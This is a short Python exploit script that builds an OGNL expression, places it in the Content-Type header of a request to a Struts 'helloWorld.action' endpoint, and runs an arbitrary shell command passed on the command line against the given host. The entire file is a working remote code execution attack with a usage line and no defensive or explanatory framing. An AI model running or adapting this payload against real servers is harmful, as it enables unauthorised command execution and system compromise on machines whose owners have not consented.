  
import requests
import sys

def exploit(host,cmd):
    ognl_payload = "%{(#_='multipart/form-data')."
    ognl_payload += "(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    ognl_payload += "(@java.lang.Runtime@getRuntime().exec('{}'))".format(cmd)
    ognl_payload += "}"

    if not ":" in host:
        host = "{}:8080".format(host)

    url = 'http://{}/basic-struts/helloWorld.action'.format(host)
    print(url)

    headers = {'Content-Type': ognl_payload}
    # headers = {}
    print(headers)

    resp = requests.get(url, headers=headers)
    print(resp.text)


if len(sys.argv) < 3:
    sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0])
else:
    exploit(sys.argv[1],sys.argv[2])
